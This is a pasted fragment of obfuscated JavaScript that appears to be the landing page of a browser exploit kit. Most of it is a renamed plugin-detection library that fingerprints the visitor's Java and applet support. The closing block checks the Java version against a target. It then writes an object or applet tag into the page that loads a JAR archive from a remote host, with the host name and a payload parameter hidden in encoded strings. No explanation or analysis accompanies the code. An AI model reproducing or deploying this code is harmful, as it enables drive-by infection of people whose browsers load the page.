  2340.                                       }
  2341.                                   }
  2342.                               };
  2343.                               c.aA_ = a
  2344.                           }
  2345.                           return c.aA_
  2346.                       },
  2347.                       AppletTag: function() {
  2348.                           var b = this,
  2349.                               d = b.$,
  2350.                               c = b.$$,
  2351.                               a = c.navigator;
  2352.                           return d.browser.isIE ? !a.javaEnabled() : 0
  2353.                       },
  2354.                       VerifyTagsDefault_1: function() {
  2355.                           var b = this.$,
  2356.                               a = b.browser;
  2357.                           if (b.OS >= 20) {
  2358.                               return 1
  2359.                           }
  2360.                           if ((a.isIE && (a.verIE < 9 || !a.ActiveXEnabled)) || (a.verGecko && b.compareNums(a.verGecko, b.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari || b.compareNums(a.verSafari, b.formatNum("4")) < 0)) || (a.verOpera && a.verOpera < 10)) {
  2361.                               return 0
  2362.                           }
  2363.                           return 1
  2364.                       },
  2365.                       z: 0
  2366.                   },
  2367.                   can_Insert_Query: function(d) {
  2368.                       var b = this,
  2369.                           c = b.results[0][0],
  2370.                           a = b.getResult()[0];
  2371.                       if (b.HTML[d] || (d == 0 && c !== null && !b.isRange(c)) || (d == 0 && a && !b.isRange(a))) {
  2372.                           return 0
  2373.                       }
  2374.                       return !b.isDisabled.single(d)
  2375.                   },
  2376.                   can_Insert_Query_Any: function() {
  2377.                       var b = this,
  2378.                           a;
  2379.                       for (a = 0; a < b.results.length; a++) {
  2380.                           if (b.can_Insert_Query(a)) {
  2381.                               return 1
  2382.                           }
  2383.                       }
  2384.                       return 0
  2385.                   },
  2386.                   should_Insert_Query: function(e) {
  2387.                       var c = this,
  2388.                           f = c.allowed,
  2389.                           d = c.$,
  2390.                           b = c.$$,
  2391.                           a = c.getResult()[0];
  2392.                       a = a && (e > 0 || !c.isRange(a));
  2393.                       if (!c.can_Insert_Query(e) || f[e] === 0) {
  2394.                           return 0
  2395.                       }
  2396.                       if (f[e] == 3 || (f[e] == 2.8 && !a)) {
  2397.                           return 1
  2398.                       }
  2399.                       if (!b.nonAppletDetectionOk(b.version0)) {
  2400.                           if (f[e] == 2 || (f[e] == 1 && !a)) {
  2401.                               return 1
  2402.                           }
  2403.                       }
  2404.                       return 0
  2405.                   },
  2406.                   should_Insert_Query_Any: function() {
  2407.                       var b = this,
  2408.                           a;
  2409.                       for (a = 0; a < b.allowed.length; a++) {
  2410.                           if (b.should_Insert_Query(a)) {
  2411.                               return 1
  2412.                           }
  2413.                       }
  2414.                       return 0
  2415.                   },
  2416.                   query: function(f) {
  2417.                       var j, a = this,
  2418.                           i = a.$,
  2419.                           d = a.$$,
  2420.                           k = null,
  2421.                           l = null,
  2422.                           b = a.results,
  2423.                           c, h, g = a.HTML[f];
  2424.                       if (!g || !g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)) {
  2425.                           return
  2426.                       }
  2427.                       c = g.obj();
  2428.                       h = g.readyState();
  2429.                       if (1) {
  2430.                           try {
  2431.                               k = i.getNum(c.getVersion() + "");
  2432.                               l = c.getVendor() + "";
  2433.                               c.statusbar(i.win.loaded ? " " : " ")
  2434.                           } catch (j) {};
  2435.                           if (k && i.isStrNum(k)) {
  2436.                               b[f] = [k, l];
  2437.                               a.active[f] = 2
  2438.                           }
  2439.                       }
  2440.                   },
  2441.                   isRange: function(a) {
  2442.                       return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 : -1) : 0
  2443.                   },
  2444.                   setRange: function(b, a) {
  2445.                       return (b ? (b > 0 ? ">" : "<") : "") + (this.$.isString(a) ? a : "")
  2446.                   },
  2447.                   insertJavaTag: function(g, n, h, o, m) {
  2448.                       var e = this,
  2449.                           c = e.$,
  2450.                           k = e.$$,
  2451.                           r = "A.class",
  2452.                           b = c.file.getValid(k),
  2453.                           f = b.name + b.ext,
  2454.                           q = b.path;
  2455.                       var i = ["archive", f, "code", r],
  2456.                           l = (o ? ["width", o] : []).concat(m ? ["height", m] : []),
  2457.                           j = ["mayscript", "true"],
  2458.                           p = ["scriptable", "true", "codebase_lookup", "false"].concat(j),
  2459.                           a = k.navigator,
  2460.                           d = !c.browser.isIE && a.mimeObj && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
  2461.                       if (g == 1) {
  2462.                           return c.browser.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n)
  2463.                       }
  2464.                       if (g == 2) {
  2465.                           return c.browser.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase", q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
  2466.                       }
  2467.                       if (g == 3) {
  2468.                           return c.browser.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
  2469.                       }
  2470.                       if (g == 4) {
  2471.                           return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).concat(p).concat(l), [], h, k, 0, n)
  2472.                       }
  2473.                   },
  2474.                   insert_Query_Any: function(h) {
  2475.                       var b = this,
  2476.                           d = b.$,
  2477.                           c = b.$$,
  2478.                           f = b.results,
  2479.                           i = b.HTML,
  2480.                           a = d.DOM.altHTML,
  2481.                           e, g = d.file.getValid(c);
  2482.                       if (b.should_Insert_Query(0)) {
  2483.                           if (c.OTF < 2) {
  2484.                               c.OTF = 2
  2485.                           };
  2486.                           f[0] = [0, 0];
  2487.                           e = h ? b.codebase.isMin(h) : b.codebase.search();
  2488.                           if (e) {
  2489.                               f[0][0] = h ? b.setRange(e, h) : e
  2490.                           }
  2491.                           b.active[0] = e ? 1.5 : -1
  2492.                       }
  2493.                       if (!g) {
  2494.                           return b.getResult()
  2495.                       }
  2496.                       if (!b.DummySpanTagHTML) {
  2497.                           b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
  2498.                       }
  2499.                       if (b.should_Insert_Query(1)) {
  2500.                           if (c.OTF < 2) {
  2501.                               c.OTF = 2
  2502.                           };
  2503.                           i[1] = b.insertJavaTag(1, 0, a);
  2504.                           f[1] = [0, 0];
  2505.                           b.query(1)
  2506.                       }
  2507.                       if (b.should_Insert_Query(2)) {
  2508.                           if (c.OTF < 2) {
  2509.                               c.OTF = 2
  2510.                           };
  2511.                           i[2] = b.insertJavaTag(2, 0, a);
  2512.                           f[2] = [0, 0];
  2513.                           b.query(2)
  2514.                       }
  2515.                       if (b.should_Insert_Query(3)) {
  2516.                           if (c.OTF < 2) {
  2517.                               c.OTF = 2
  2518.                           };
  2519.                           i[3] = b.insertJavaTag(3, 0, a);
  2520.                           f[3] = [0, 0];
  2521.                           b.query(3)
  2522.                       }
  2523.                       if (d.DOM.isEnabled.objectTag()) {
  2524.                           if (!b.DummyObjTagHTML && (i[1] || i[2])) {
  2525.                               b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a)
  2526.                           }
  2527.                           if (!b.DummyObjTagHTML2 && i[3]) {
  2528.                               b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], [], a)
  2529.                           }
  2530.                       }
  2531.                       c.NOTF.begin();
  2532.                       return b.getResult()
  2533.                   }
  2534.               },
  2535.               NOTF: {
  2536.                   $: 1,
  2537.                   count: 0,
  2538.                   countMax: 25,
  2539.                   intervalLength: 250,
  2540.                   begin: function() {
  2541.                       var c = this,
  2542.                           b = c.$,
  2543.                           a = c.$$;
  2544.                       if (a.OTF < 3 && c.shouldContinueQuery()) {
  2545.                           a.OTF = 3;
  2546.                           c.onIntervalQuery = b.ev.handler(c.$$onIntervalQuery, c);
  2547.                           if (!b.win.loaded) {
  2548.                               b.win.funcs0.push([c.winOnLoadQuery, c])
  2549.                           }
  2550.                           setTimeout(c.onIntervalQuery, c.intervalLength)
  2551.                       }
  2552.                   },
  2553.                   shouldContinueQuery: function() {
  2554.                       var f = this,
  2555.                           e = f.$,
  2556.                           c = f.$$,
  2557.                           b = c.applet,
  2558.                           a, d = 0;
  2559.                       if (e.win.loaded && f.count > f.countMax) {
  2560.                           return 0
  2561.                       }
  2562.                       for (a = 0; a < b.results.length; a++) {
  2563.                           if (b.HTML[a]) {
  2564.                               if (!d && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && f.isAppletActive(a) >= 0) {
  2565.                                   return 1
  2566.                               }
  2567.                           }
  2568.                       };
  2569.                       return 0
  2570.                   },
  2571.                   isJavaActive: function(d) {
  2572.                       var f = this,
  2573.                           c = f.$$,
  2574.                           a, b, e = -9;
  2575.                       for (a = 0; a < c.applet.HTML.length; a++) {
  2576.                           b = f.isAppletActive(a, d);
  2577.                           if (b > e) {
  2578.                               e = b
  2579.                           }
  2580.                       }
  2581.                       return e
  2582.                   },
  2583.                   isAppletActive: function(e, g) {
  2584.                       var h = this,
  2585.                           f = h.$,
  2586.                           b = h.$$,
  2587.                           l = b.navigator,
  2588.                           a = b.applet,
  2589.                           i = a.HTML[e],
  2590.                           d = a.active,
  2591.                           k, c = 0,
  2592.                           j, m = d[e];
  2593.                       if (g || m >= 1.5 || !i || !i.span) {
  2594.                           return m
  2595.                       };
  2596.                       j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.DummyObjTagHTML2, h.count);
  2597.                       for (k = 0; k < d.length; k++) {
  2598.                           if (d[k] > 0) {
  2599.                               c = 1
  2600.                           }
  2601.                       }
  2602.                       if (j != 1) {
  2603.                           m = j
  2604.                       } else {
  2605.                           if (f.browser.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName == "object" || c))) {
  2606.                               m = 1
  2607.                           } else {
  2608.                               m = 0
  2609.                           }
  2610.                       }
  2611.                       d[e] = m;
  2612.                       return m
  2613.                   },
  2614.                   winOnLoadQuery: function(c, d) {
  2615.                       var b = d.$$,
  2616.                           a;
  2617.                       if (b.OTF == 3) {
  2618.                           a = d.queryAllApplets();
  2619.                           d.queryCompleted(a)
  2620.                       }
  2621.                   },
  2622.                   $$onIntervalQuery: function(d) {
  2623.                       var c = d.$,
  2624.                           b = d.$$,
  2625.                           a;
  2626.                       if (b.OTF == 3) {
  2627.                           a = d.queryAllApplets();
  2628.                           if (!d.shouldContinueQuery()) {
  2629.                               d.queryCompleted(a)
  2630.                           }
  2631.                       }
  2632.                       d.count++;
  2633.                       if (b.OTF == 3) {
  2634.                           setTimeout(d.onIntervalQuery, d.intervalLength)
  2635.                       }
  2636.                   },
  2637.                   queryAllApplets: function() {
  2638.                       var f = this,
  2639.                           e = f.$,
  2640.                           d = f.$$,
  2641.                           c = d.applet,
  2642.                           b, a;
  2643.                       for (b = 0; b < c.results.length; b++) {
  2644.                           c.query(b)
  2645.                       }
  2646.                       a = c.getResult();
  2647.                       return a
  2648.                   },
  2649.                   queryCompleted: function(c) {
  2650.                       var g = this,
  2651.                           f = g.$,
  2652.                           e = g.$$,
  2653.                           d = e.applet,
  2654.                           b;
  2655.                       if (e.OTF >= 4) {
  2656.                           return
  2657.                       }
  2658.                       e.OTF = 4;
  2659.                       var a = g.isJavaActive();
  2660.                       for (b = 0; b < d.HTML.length; b++) {
  2661.                           if (d.HTML[b] && d.HTML[b].DELETE) {
  2662.                               f.DOM.emptyNode(d.HTML[b].span);
  2663.                               d.HTML[b].span = null
  2664.                           }
  2665.                       }
  2666.                       e.setPluginStatus(c[0], c[1], 0);
  2667.                       if (f.onDetectionDone && e.funcs) {
  2668.                           f.ev.callArray(e.funcs)
  2669.                       }
  2670.                       if (f.DOM) {
  2671.                           f.DOM.onDoneEmptyDiv()
  2672.                       }
  2673.                   }
  2674.               },
  2675.               zz: 0
  2676.           },
  2677.           zz: 0
  2678.       }
  2679.   };
  2680.   ldklfgo.INIT();
  2681.  
  2682.   function fixNumber(num) {
  2683.       function beautify(match, number) {
  2684.           var res = "000" + match;
  2685.           return (res).substr(res.length - 3)
  2686.       }
  2687.       try {
  2688.           var n = num.split(/[\_,.]+/);
  2689.           result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);
  2690.           return n.length > 3 ? result + n[3].replace(/\d+/g, beautify) : result;
  2691.       } catch (e) {}
  2692.   }
  2693.   if (window.sf325gtgs7sfdj) {
  2694.       function getData() {
  2695.           return LtDSPf(tCazpqGh[9]);
  2696.       }
  2697.  
  2698.       function getKolaio() {
  2699.           return LtDSPf(tCazpqGh[10]);
  2700.       }
  2701.  
  2702.       function getTxl() {
  2703.           return LtDSPf(tCazpqGh[11]);
  2704.       }
  2705.  
  2706.       function getJnlp() {
  2707.           return LtDSPf(tCazpqGh[12]);
  2708.       }
  2709.  
  2710.       function getJnlpHref() {
  2711.           return LtDSPf(tCazpqGh[13]);
  2712.       }
  2713.       var jv = ldklfgo.getVersion("Java"),
  2714.           targetVersion = "1.7.0.10",
  2715.           klqwght = document;;
  2716.       if (!!jv && fixNumber(jv) >= fixNumber(targetVersion)) {
  2717.           var tmp1 = '<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"><param name="javafx_version" value="2.1+"/><param name="jnlp_href" value="';
  2718.           klqwght[klfg1 + klfg2](tmp1 + '' + getJnlpHref() + '"/><param name="jnlp_embedded" value="' + getJnlp() + '"/><param name="exteeec" value="' + getData() + '"/></object>');
  2719.       } else {
  2720.           if (navigator.userAgent.indexOf('MSIE') >= 0) {
  2721.               klqwght[klfg1 + klfg2]('<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"><param name="code" value="Globals"><param name="archive" value="http://' + getKolaio() + '/' + getTxl() + '"><param name="type" value="application/x-java-applet"/><param name="exteeec" value="' + getData() + '"/></object>');
  2722.           } else {
  2723.               klqwght[klfg1 + klfg2]('<applet code="Globals" archive="http://' + getKolaio() + '/' + getTxl() + '"><param name="exteeec" value="' + getData() + '"/></applet>');
  2724.           }
  2725.       }
  2726.   }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement